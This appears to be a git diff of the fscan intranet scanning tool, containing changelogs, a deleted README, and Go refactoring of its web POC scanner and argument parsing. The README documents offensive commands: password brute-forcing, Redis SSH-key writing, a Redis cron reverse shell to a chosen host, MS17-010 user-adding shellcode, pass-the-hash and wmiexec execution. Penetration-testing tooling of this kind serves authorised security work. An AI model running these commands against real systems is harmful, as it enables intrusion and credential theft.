[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
[+] 2022/1/11 新增oracle密码爆破。
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
[+] 2021/6/18 改善一下poc的机制如果识别出指纹会根据指纹信息发送poc如果没有识别到指纹才会把所有poc打一遍。
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
[+] 2021/4/21 加入netbios探测、域控识别。
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-docen]: README_EN.md
[url-doczh]: README.md

View File

@ -1,260 +0,0 @@
# fscan
[中文][url-doczh]
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
6.Others:
* Save ouput result
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
```
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (Optional, compressed)
```
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh|wmiexec)
-cookie string
set poc cookie,-cookie rememberMe=login
-debug int
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb domain
-full
poc full scan,as: shiro 100 key
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nobr
not to Brute password
-nopoc
not to scan web vul
-np
not to ping
-num int
poc rate (default 20)
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```
# 4. Demo
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png)
# 5. Disclaimer
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md

View File

@ -3,13 +3,14 @@ package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
)
//go:embed pocs
@ -17,23 +18,23 @@ var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) {
once.Do(initpoc)
var pocinfo = common.Pocinfo
func WebScan(info common.HostInfo, flags common.Flags) {
once.Do(func() { initpoc(flags.PocPath) })
var pocinfo = flags.Pocinfo
buf := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(buf[:3], "/")
if pocinfo.PocName != "" {
Execute(pocinfo)
Execute(pocinfo, flags)
} else {
for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo)
Execute(pocinfo, flags)
}
}
}
func Execute(PocInfo common.PocInfo) {
func Execute(PocInfo common.PocInfo, flags common.Flags) {
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
@ -48,11 +49,11 @@ func Execute(PocInfo common.PocInfo) {
}
req.Header.Set("Connection", "close")
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, common.PocNum)
lib.CheckMultiPoc(req, pocs, flags)
}
func initpoc() {
if common.PocPath == "" {
func initpoc(pocPath string) {
if pocPath == "" {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
@ -67,7 +68,7 @@ func initpoc() {
}
}
} else {
err := filepath.Walk(common.PocPath,
err := filepath.Walk(pocPath,
func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err

View File

@ -3,9 +3,6 @@ package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
@ -13,6 +10,10 @@ import (
"strings"
"sync"
"time"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
)
var (
@ -25,13 +26,13 @@ type Task struct {
Poc *Poc
}
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
for i := 0; i < flags.PocNum; i++ {
go func() {
for task := range tasks {
isVul, _, name := executePoc(task.Req, task.Poc)
isVul, _, name := executePoc(task.Req, task.Poc, flags)
if isVul {
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
common.LogSuccess(result)
@ -52,7 +53,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, string) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
@ -82,7 +83,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
for _, item := range p.Set {
k, expression := item.Key, item.Value
if expression == "newReverse()" {
if !common.DnsLog {
if !flags.DnsLog {
return false, nil, ""
}
variableMap[k] = newReverse()
@ -96,7 +97,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
success := false
//爆破模式,比如tomcat弱口令
if len(p.Sets) > 0 {
success, err = clusterpoc(oReq, p, variableMap, req, env)
success, err = clusterpoc(oReq, p, flags.PocFull, variableMap, req, env)
return success, nil, ""
}
@ -132,7 +133,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error: ",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
@ -149,7 +149,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
if len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
@ -161,7 +161,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
//如果false不继续执行后续rule
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
flag, ok = out.Value().(bool)
@ -258,7 +258,7 @@ func newReverse() *Reverse {
}
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap
var tmpnum int
for i, rule := range p.Rules {
@ -277,8 +277,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
ruleHash := make(map[string]struct{})
look:
for j, item := range setsMap {
//shiro默认只跑10key
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
//shiro only runs by default 10key
if p.Name == "poc-yaml-shiro-key" && !pocFull && j >= 10 {
if item[1] == "cbc" {
continue
} else {
@ -445,7 +445,6 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
//
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error:",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
@ -477,7 +476,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
}
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
}

View File

@ -6,9 +6,6 @@ import (
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"io/ioutil"
"log"
"net"
@ -16,6 +13,10 @@ import (
"net/url"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
)
var (
@ -25,15 +26,15 @@ var (
keepAlive = 5 * time.Second
)
func Inithttp(PocInfo common.PocInfo) {
func Inithttp(flags common.Flags) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
err := InitHttpClient(flags.PocNum, flags.Proxy, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.WebTimeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
dialer := &net.Dialer{
Timeout: dialTimout,
@ -51,8 +52,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
DisableKeepAlives: false,
}
if common.Socks5Proxy != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer)
if socks5Proxy.Address != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer, socks5Proxy)
if err != nil {
return err
}

View File

@ -570,7 +570,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
//fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
@ -621,7 +621,6 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
//fmt.Println("[-]DoRequest error: ",err)
return nil, err
}
defer oResp.Body.Close()

View File

@ -11,24 +11,28 @@ import (
"strings"
)
func Parse(Info *HostInfo) {
ParseUser()
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
func Parse(inputConfig *InConfig) {
ParseUser(&inputConfig.Flags)
ParsePass(&inputConfig.HostInfo, &inputConfig.Flags)
ParseInput(&inputConfig.HostInfo, &inputConfig.Flags)
ParseScantype(&inputConfig.HostInfo, &inputConfig.Flags)
Outputfile = inputConfig.LogConfig.Outputfile
IsSave = !inputConfig.LogConfig.TmpSave
Cookie = inputConfig.Cookie
}
func ParseUser() {
if Username == "" && Userfile == "" {
func ParseUser(flags *Flags) {
if flags.Username == "" && flags.Userfile == "" {
return
}
var Usernames []string
if Username != "" {
Usernames = strings.Split(Username, ",")
if flags.Username != "" {
Usernames = strings.Split(flags.Username, ",")
}
if Userfile != "" {
users, err := Readfile(Userfile)
if flags.Userfile != "" {
users, err := Readfile(flags.Userfile)
if err == nil {
for _, user := range users {
if user != "" {
@ -44,10 +48,10 @@ func ParseUser() {
}
}
func ParsePass(Info *HostInfo) {
func ParsePass(Info *HostInfo, flags *Flags) {
var PwdList []string
if Password != "" {
passs := strings.Split(Password, ",")
if flags.Password != "" {
passs := strings.Split(flags.Password, ",")
for _, pass := range passs {
if pass != "" {
PwdList = append(PwdList, pass)
@ -55,8 +59,8 @@ func ParsePass(Info *HostInfo) {
}
Passwords = PwdList
}
if Passfile != "" {
passs, err := Readfile(Passfile)
if flags.Passfile != "" {
passs, err := Readfile(flags.Passfile)
if err == nil {
for _, pass := range passs {
if pass != "" {
@ -66,34 +70,35 @@ func ParsePass(Info *HostInfo) {
Passwords = PwdList
}
}
if URL != "" {
urls := strings.Split(URL, ",")
if flags.URL != "" {
urls := strings.Split(flags.URL, ",")
TmpUrls := make(map[string]struct{})
for _, url := range urls {
if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{}
if url != "" {
Urls = append(Urls, url)
flags.Urls = append(flags.Urls, url)
}
}
}
}
if UrlFile != "" {
urls, err := Readfile(UrlFile)
if flags.UrlFile != "" {
urls, err := Readfile(flags.UrlFile)
if err == nil {
TmpUrls := make(map[string]struct{})
for _, url := range urls {
if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{}
if url != "" {
Urls = append(Urls, url)
flags.Urls = append(flags.Urls, url)
}
}
}
}
}
if PortFile != "" {
ports, err := Readfile(PortFile)
if flags.PortFile != "" {
ports, err := Readfile(flags.PortFile)
if err == nil {
newport := ""
for _, port := range ports {
@ -125,88 +130,84 @@ func Readfile(filename string) ([]string, error) {
return content, nil
}
func ParseInput(Info *HostInfo) {
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
func ParseInput(Info *HostInfo, flags *Flags) {
if Info.Host == "" && flags.HostFile == "" && flags.URL == "" && flags.UrlFile == "" {
fmt.Println("Host is none")
flag.Usage()
os.Exit(0)
}
if BruteThread <= 0 {
BruteThread = 1
}
if TmpSave == true {
IsSave = false
if flags.BruteThread <= 0 {
flags.BruteThread = 1
}
if Info.Ports == DefaultPorts {
Info.Ports += "," + Webport
}
if PortAdd != "" {
if flags.PortAdd != "" {
if strings.HasSuffix(Info.Ports, ",") {
Info.Ports += PortAdd
Info.Ports += flags.PortAdd
} else {
Info.Ports += "," + PortAdd
Info.Ports += "," + flags.PortAdd
}
}
if UserAdd != "" {
user := strings.Split(UserAdd, ",")
if flags.UserAdd != "" {
user := strings.Split(flags.UserAdd, ",")
for a := range Userdict {
Userdict[a] = append(Userdict[a], user...)
Userdict[a] = RemoveDuplicate(Userdict[a])
}
}
if PassAdd != "" {
pass := strings.Split(PassAdd, ",")
if flags.PassAdd != "" {
pass := strings.Split(flags.PassAdd, ",")
Passwords = append(Passwords, pass...)
Passwords = RemoveDuplicate(Passwords)
}
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
if flags.Socks5Proxy != "" && !strings.HasPrefix(flags.Socks5Proxy, "socks5://") {
